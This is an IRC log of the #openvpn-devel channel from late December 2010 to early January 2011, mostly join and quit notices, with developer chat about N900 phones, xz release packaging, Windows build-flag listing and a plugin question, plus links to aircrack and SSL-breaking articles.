[Changing host] 07:39 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:45 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 07:45 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 07:45 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 09:41 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 272 seconds] 10:02 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:02 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 10:11 -!- s7r [~s7r@178.73.198.8] has joined #openvpn-devel 12:11 -!- s7r [~s7r@178.73.198.8] has left #openvpn-devel [] 13:59 -!- Essobi_ [~kstone@pixout.appriss.com] has joined #openvpn-devel 13:59 < Essobi_> Howdy all. 16:18 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 240 seconds] 16:18 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 16:18 -!- mode/#openvpn-devel [+v roentgen] by ChanServ --- Day changed Tue Dec 28 2010 00:30 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 272 seconds] 00:42 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 00:42 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 00:45 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 02:45 <+krzee> dazol, iirc you have a nokia n900, if that is true your wireless adapter on that thing will let you crack wep on your phone 03:03 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 03:13 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 04:37 -!- common [~common@p5DDA475E.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 04:38 -!- common [~common@p5DDA480A.dip0.t-ipconnect.de] has joined #openvpn-devel 04:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:55 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:14 <@dazo> ecrist: has the #openvpn-devel log stopped again? 07:14 <@dazo> --- Log closed Tue Dec 14 12:25:59 2010 08:00 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 255 seconds] 08:13 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 09:08 < ecrist> oh, yeah, I use IRC from a different system now 09:09 < ecrist> do you need it? 10:25 -!- s7r [~s7r@72.20.18.215] has joined #openvpn-devel 10:30 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 10:31 -!- s7r [~s7r@72.20.18.215] has left #openvpn-devel [] 11:32 <@dazo> ecrist: nah, just convenience for my side ... it's easier to pay attention to what happens without logging on irc ... like from mobile phones 12:07 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 12:07 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:51 -!- Essobi_ [~kstone@pixout.appriss.com] has quit [Quit: bbl] 12:54 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 13:23 < ecrist> dazol: I'll fix my logging exporter in the next few days. 16:16 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 16:16 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 16:16 -!- mode/#openvpn-devel [+o cron2] by ChanServ 17:28 < Essobi> ecrist: So what're you doing with FreeSwitch? ;) 17:29 <+krzie> his freeswitch setup is sweet 17:41 < Essobi> ;) 17:42 < Essobi> I've been poking on it for ~4 years. 18:30 < ecrist> Essobi: I'm one of the FreeBSD port maintainers. 18:30 * ecrist goes to adult beverage purchasing location 18:30 <+krzie> ecrist, tell him about the setup sometime 18:30 <+krzie> its impressive to *me* at least 18:31 <+krzie> sure a lot of the coolness takes place outside freeswitch, but its still completely awesome ;] 19:04 < ecrist> :) thanks 19:04 < ecrist> I assume you're referring to our faxing stuff 19:06 <+krzie> yes, i am --- Day changed Wed Dec 29 2010 01:12 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 01:42 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 02:58 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 03:50 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:50 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 03:50 -!- dazo_h is now known as dazo 04:00 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 04:00 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 04:35 -!- common [~common@p5DDA480A.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:39 -!- common [~common@p5DDA48CD.dip0.t-ipconnect.de] has joined #openvpn-devel 05:23 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 06:56 -!- s7r [~s7r@66.90.75.76] has joined #openvpn-devel 07:03 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 07:16 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 08:12 -!- s7r [~s7r@66.90.75.76] has quit [Ping timeout: 255 seconds] 08:14 -!- s7r [~s7r@66.90.75.104] has joined #openvpn-devel 08:14 -!- s7r is now known as Guest20039 08:42 -!- Guest20039 [~s7r@66.90.75.104] has quit [Ping timeout: 250 seconds] 09:03 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 10:25 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 10:48 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:48 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:21 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 272 seconds] 11:31 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 11:31 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:50 -!- gladiatr [~sdspence@160.15.124.24.cm.sunflower.com] has joined #openvpn-devel 11:51 -!- gladiatr [~sdspence@160.15.124.24.cm.sunflower.com] has left #openvpn-devel [] 11:54 < Essobi> ecrist: I noticed. ;) 11:54 < Essobi> ecrist: I know the fs crew from asterisk days 11:55 < Essobi> Essobi: Went to cluecon a few year ago, helped them setup and tear down, etc. 15:06 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:56 -!- s7r [~s7r@66.90.75.71] has joined #openvpn-devel 17:56 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 18:42 -!- s7r [~s7r@66.90.75.71] has left #openvpn-devel [] 20:10 -!- openvpn2009 [patel@openvpn/corp/admin/patel] has quit [Ping timeout: 255 seconds] 20:14 -!- openvpn2009 [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel --- Day changed Thu Dec 30 2010 00:58 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 01:28 -!- roentgen [~arthur@2001:4d18:3:1:ffff:ffff:ffff:1] has joined #openvpn-devel 01:28 -!- roentgen [~arthur@2001:4d18:3:1:ffff:ffff:ffff:1] has quit [Changing host] 01:28 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 01:28 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 03:08 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 03:25 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+v krzie] by ChanServ 03:37 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:37 -!- common [~common@p5DDA48CD.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:39 -!- common [~common@p5DDA49AA.dip0.t-ipconnect.de] has joined #openvpn-devel 06:19 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 06:19 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 06:56 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 06:56 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 07:15 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 08:35 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 08:37 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 08:37 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 10:14 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:24 -!- Migi32 [~migi@vpnj210.ugent.be] has joined #openvpn-devel 10:56 -!- Migi32 [~migi@vpnj210.ugent.be] has quit [Read error: Operation timed out] 11:13 -!- Migi32 [~migi@vpnq066.ugent.be] has joined #openvpn-devel 12:41 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 12:41 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:35 -!- s7r [~s7r@66.90.75.99] has joined #openvpn-devel 14:19 -!- patelx [~a@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20100904) - www.ircN.org] 14:21 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 14:22 -!- Migi32 [~migi@vpnq066.ugent.be] has quit [Ping timeout: 240 seconds] 14:23 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:24 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 14:24 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:37 -!- Migi32 [~migi@d54C2591D.access.telenet.be] has joined #openvpn-devel 14:42 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 14:42 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 14:42 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 16:31 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 17:06 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 17:37 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 17:39 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 17:45 -!- raidzxx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 17:48 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Ping timeout: 260 seconds] 18:09 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 18:09 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 18:09 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:26 -!- Migi32 [~migi@d54C2591D.access.telenet.be] has quit [Quit: BOINC] 18:45 -!- s7r [~s7r@66.90.75.99] has left #openvpn-devel [] 19:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] --- Day changed Fri Dec 31 2010 00:49 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 01:06 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 01:21 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 04:35 -!- common- [~common@p5DDA49B5.dip0.t-ipconnect.de] has joined #openvpn-devel 04:36 -!- common [~common@p5DDA49AA.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:36 -!- common- is now known as common 05:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:57 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:32 <@mattock> hi guys! 06:33 <@mattock> just crawled up from my hole :D 06:35 <@dazo> \o/ 06:35 <@dazo> you got my mail yesterday? 06:36 <@dazo> mattock: I've been playing with varnish on a site for a couple of days ... If we want to go back to use the Trac git source browser, I think varnish can be brilliant .... I've never configured such a powerful and flexible tool so easily 06:37 <@dazo> (well, the config file reminds a lot of C code, so that might explain why I found it easily! :-P) 06:37 <@mattock> I'll check the email, didn't notice it 06:37 <@mattock> oh, that one 06:37 <@dazo> yeah :) 06:37 <@mattock> yeah, the meeting... 06:38 <@dazo> heh 06:38 <@mattock> well, I have an excuse 06:38 <@dazo> well, nobody was here ... so, nothing happened :) 06:38 <@mattock> I bought a Nokia N900 06:38 <@dazo> cool! 06:38 <@mattock> and the calendar app did not remind me 06:38 <@mattock> unlike earlier 06:38 <@dazo> that's a nice Christmas gift! 06:38 <@dazo> huh ... interesting, neither did mine 06:39 <@mattock> I'm very impressed with N900, except the battery life which is a little low 06:39 <@mattock> except that I've been doing quite a lot with it every day 06:39 <@mattock> but I tend to get 48 hours as you mentioned 06:39 <@dazo> yeah ... I'm not happy with the PR1.3 ... that has degraded my capacity 40% :( 06:40 <@mattock> PR? 06:40 <@mattock> public release? 06:40 <@dazo> Preview Release, I think 06:40 <@mattock> oh 06:40 <@dazo> it's in the updates tree 06:40 <@mattock> I'm using what it had originally 06:40 <@dazo> ahh ... well, PR1.2 was very good .... that's what I've been running the longest, but reflashing to 1.3 is not recommended right now 06:41 <@mattock> I think I'll stay with stable releases for now... don't feel like breaking my phone :) 06:41 <@dazo> heh :) 06:42 <@dazo> that's why I haven't dared testing out MeeGo yet ... but the dual boot feature PR1.3 introduces makes things interesting now ... 06:43 <@mattock> when will 1.3 be released for "normal people"? 06:43 <@mattock> as stable 06:44 <@dazo> I dunno ... they don't announce such things, unfortunately 06:44 <@mattock> ok 07:14 <@mattock> dazo: just responded to the mail 07:19 <@dazo> mattock: thx! ... re: xz packages ... is that available in autotools? Or you just repack them? 07:20 <@dazo> ahh! 07:20 <@dazo> dist-xz 07:32 <@mattock> yep 07:32 <@mattock> xz archive format 07:32 <@mattock> compression format I mean 09:01 < ecrist> are xz packages being built, finally? 09:01 < ecrist> :D 11:50 <@dazo> ecrist: yeah, you want to have a poke at it already? 13:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 18:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 18:53 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 18:57 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 18:57 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 18:57 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 18:58 -!- waldner [~waldner@unaffiliated/waldner] has quit [Remote host closed the connection] 18:59 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 18:59 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 18:59 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel --- Day changed Sat Jan 01 2011 04:36 -!- common- [~common@p5DDA4282.dip0.t-ipconnect.de] has joined #openvpn-devel 04:39 -!- common [~common@p5DDA49B5.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds] 04:39 -!- common- is now known as common 07:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:37 -!- s7r [~s7r@66.90.75.126] has joined #openvpn-devel 14:26 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 15:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:57 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:21 -!- s7r [~s7r@66.90.75.126] has left #openvpn-devel [] --- Day changed Sun Jan 02 2011 00:25 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:25 -!- mode/#openvpn-devel [+v krzie] by ChanServ 04:40 -!- common [~common@p5DDA4282.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 04:41 -!- common [~common@p5DDA460C.dip0.t-ipconnect.de] has joined #openvpn-devel 07:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Read error: Operation timed out] 07:49 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:49 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:52 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:10 -!- s7r [~s7r@66.90.75.87] has joined #openvpn-devel 13:14 -!- s7r [~s7r@66.90.75.87] has left #openvpn-devel [] 16:12 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 16:31 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 16:31 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 16:44 -!- Netsplit *.net <-> *.split quits: helmut, phessler, openvpn2009 16:46 -!- Netsplit over, joins: openvpn2009, phessler, helmut 17:27 -!- Netsplit *.net <-> *.split quits: helmut, phessler, openvpn2009 17:29 -!- Netsplit over, joins: openvpn2009, phessler, helmut 23:11 -!- openvpn2009 [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 240 seconds] 23:17 -!- openvpn2009 [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel 23:24 -!- openvpn2009 [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 276 seconds] 23:29 -!- openvpn2009 [patel@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel --- Day changed Mon Jan 03 2011 00:12 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 00:59 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:00 -!- dazol is now known as dazo 02:00 -!- dazo [~dazo@nat/redhat/x-zpucjklrmralavmn] has quit [Changing host] 02:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+o dazo] by ChanServ 02:09 <@dazo> krzee: Just read scrollback now (sorry I didn't see it earlier) ... I saw your n900 question ... I have never tried wep cracking on the phone ... it's the wl12xx driver which is used, afaicu ... http://linuxwireless.org/en/users/Drivers/wl12xx 02:09 <@vpnHelper> Title: wl12xx - Linux Wireless (at linuxwireless.org) 02:27 <+krzie> http://406notacceptable.com/guides/aircrack-on-the-n900/ 02:27 <@vpnHelper> Title: Aircrack on the N900 | 406 Not Acceptable (at 406notacceptable.com) 02:27 <+krzie> http://forum.aircrack-ng.org/index.php?topic=6624.0 02:27 <@vpnHelper> Title: Aircrack-ng for N900 available (at forum.aircrack-ng.org) 02:29 <@dazo> krzie: neat! 02:34 <+krzie> totally, im jealous 02:34 <+krzie> ;] 02:37 <@dazo> heh :) 02:37 <@dazo> what are you waiting for?!? Go grab one you too ;-) 03:17 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 03:17 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 04:37 -!- common- [~common@p5DDA4794.dip0.t-ipconnect.de] has joined #openvpn-devel 04:40 -!- common [~common@p5DDA460C.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 04:40 -!- common- is now known as common 05:53 <@dazo> mattock: how is it going with the 2.2-RC stuff? 06:37 -!- Netsplit *.net <-> *.split quits: +krzee, +krzie, agi 06:40 <@mattock> dazo: just cleaning up the mess I made with dozens of small commits 06:40 <@mattock> got most of it sorted out, I think 06:40 <@dazo> nice! 06:41 <@mattock> I changed the automatic configure.h generation (if you recall that) to use stuff from config-win32.h 06:41 <@mattock> the configure.h was used to display the build flags with "openvpn --version" 06:42 <@dazo> yeah 06:42 <@dazo> cool! 06:42 <@mattock> it's working very nicely, except that I could think of a clean way to include conditional compile flags 06:42 <@mattock> things inside #ifdef or #ifndef 06:42 <@mattock> so I simply skipped any #define inside a #ifdef block, which is not perfect 06:43 <@mattock> most of it is #ifdef _MSC_VER <do something> 06:44 <@dazo> now I lost you .... why do you need to care about that? 06:44 <@dazo> that's the compiler and cpp part which takes care of such things, isn't it? 06:44 <@mattock> of course... but I can output a realistic list of compile options if I don't handle those conditional segments 06:45 <@mattock> it will compile just fine, but the list of compile options won't be complete 06:45 <@dazo> you're talking about config-win32.h only? 06:45 <@mattock> yep 06:45 <@mattock> here's a sample of what's included in the CONFIGURE_OPTIONS now: http://pastie.org/1425441 06:47 <@mattock> also, I'm thinking of copying stuff from service-win32 directory to $BUILDROOT dynamically during build 06:47 <@dazo> mattock: hmm ... I see some use case for such an extensive list ... but to be honest, I think it's enough to just grab ^#define (ENABLE|DISABLE|DEPRECATED|USE)_ 06:48 <@mattock> it's not pretty, but trying to refer to service-win32/something in msvc.mak (makefile) caused trouble 06:48 <@dazo> but of course, ignoring #ifdef'ed stuff is not bad 06:49 <@dazo> people having more complex issues should probably rather send their config-win32.h directly ... as the official builds, we will have config-win32.h anyway, as we're the ones building them 06:53 -!- Netsplit over, joins: +krzie, +krzee, agi 07:03 <@mattock> hmm, I think getting ^#define (ENABLE|DISABLE|DEPRECATED|USE) would make more sense and be cleaner 07:03 <@mattock> and get me out of this #ifdef issue :) 09:02 <@mattock> one small thing left for tomorrow, then I can send the next round of patches... 09:39 <@dazo> mattock: cool! Thx! I'll ACK them asap when I see them 09:39 <@dazo> mattock: are we then able to build our own release? 09:40 <@mattock> dazo: maybe, depending on whether all the binaries and drivers and the installer work properly 09:41 <@dazo> cool! 09:59 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 10:23 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:23 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:04 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 265 seconds] 11:06 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 11:07 < common> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=plugin/defer/simple.c;h=65398657d10fd954e09e4ec2f113763c2d6e3407;hb=refs/heads/allmerged#l178 11:07 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/blob - plugin/defer/simple.c (at openvpn.git.sourceforge.net) 11:07 < common> how is this supposed to be defered/async? 11:08 < common> for the shell fork in the system() call? 11:10 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 240 seconds] 11:11 < common> I guess this is maybe the most weird way to do this 11:18 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 11:24 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 11:24 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:24 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:40 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 272 seconds] 12:04 -!- dazo is now known as dazo_afk 12:21 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 12:30 -!- s7r [~s7r@66.90.75.115] has joined #openvpn-devel 14:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 14:56 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 255 seconds] 14:58 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 15:13 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 15:13 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:13 -!- mode/#openvpn-devel [+o cron2] by ChanServ 15:54 -!- s7r [~s7r@66.90.75.115] has left #openvpn-devel [] 16:23 -!- common [~common@p5DDA4794.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 16:24 -!- common [~common@p5DDA4794.dip0.t-ipconnect.de] has joined #openvpn-devel 18:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 18:47 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 18:51 -!- cron2_ [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 240 seconds] 18:52 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 19:03 -!- cron2_ [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 264 seconds] 19:17 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel --- Day changed Tue Jan 04 2011 00:34 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 01:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:42 <+krzie> looks like config options for where to find 'ifconfig' and 'route' would be useful for those who run android 01:42 <+krzie> seeing as im currently having a pita with it, and see that many others have too ;] 02:04 -!- krzie [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:06 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:06 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:44 -!- Netsplit *.net <-> *.split quits: openvpn2009, @d457k, phessler, helmut, common, @dazo_afk, cron2_ 02:44 -!- Netsplit *.net <-> *.split quits: kisom, waldner 02:47 -!- Netsplit over, joins: helmut, phessler 02:47 -!- Netsplit over, joins: cron2_ 02:48 -!- Netsplit over, joins: waldner, kisom 02:48 -!- Netsplit over, joins: common, openvpn2009, d457k 02:48 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:48 -!- ServerMode/#openvpn-devel [+oo d457k dazo] by niven.freenode.net 02:49 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Write error: Broken pipe] 02:49 -!- dazo_ [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:49 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 02:50 -!- dazo_ is now known as dazo 03:02 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Read error: Connection timed out] 03:03 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:03 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:21 -!- cron2_ is now known as cron2 04:21 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 04:21 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 04:21 -!- mode/#openvpn-devel [+o cron2] by ChanServ 04:21 <@cron2> my DSL line is sooo shitty these days... 04:31 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 264 seconds] 04:38 -!- common- [~common@p5DDA4786.dip0.t-ipconnect.de] has joined #openvpn-devel 04:40 -!- common [~common@p5DDA4794.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 04:40 -!- common- is now known as common 05:03 <@dazo> Interesting little article ... http://www.devttys0.com/2010/12/breaking-ssl-on-embedded-devices/ 05:03 <@dazo> bloody obvious ... but still surprising this really happens ... 05:48 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:12 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:12 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:27 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 10:29 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:29 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:47 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 250 seconds] 10:49 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:49 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:50 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:50 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:16 < Essobi> dazo: Damn... that is cool. 11:17 <@dazo> pretty nasty stuff, yeah :) ... but so well deserved! 11:17 < Essobi> You don't gain security through obscurity. 11:17 <@dazo> nope 11:18 < Essobi> dazo: 11:18 < Essobi> r21 (Added SSL and SSH keys for Vera1 home controllers) committed by heffnercj - 11:19 < Essobi> Oh schnit.. I'd hate to have one of those.. lol 11:19 <@dazo> lol 11:19 < Essobi> Lights start bugging out, coffee maker going off at 6pm.. 11:19 <+krzie> dazo, nice link 11:19 <+krzie> http://www.devttys0.com/2010/12/breaking-ssl-on-embedded-devices/ 11:19 <@vpnHelper> Title: /dev/ttyS0 » Blog Archive » Breaking SSL on Embedded Devices (at www.devttys0.com) 11:20 <+krzie> the comments are filled with people who dont get how pki works 11:20 < Essobi> krzie: Ya, that's some funny shiz. 11:20 < Essobi> I wish someone would shave the chips in the iphone, and give me a permentant jb already. lol 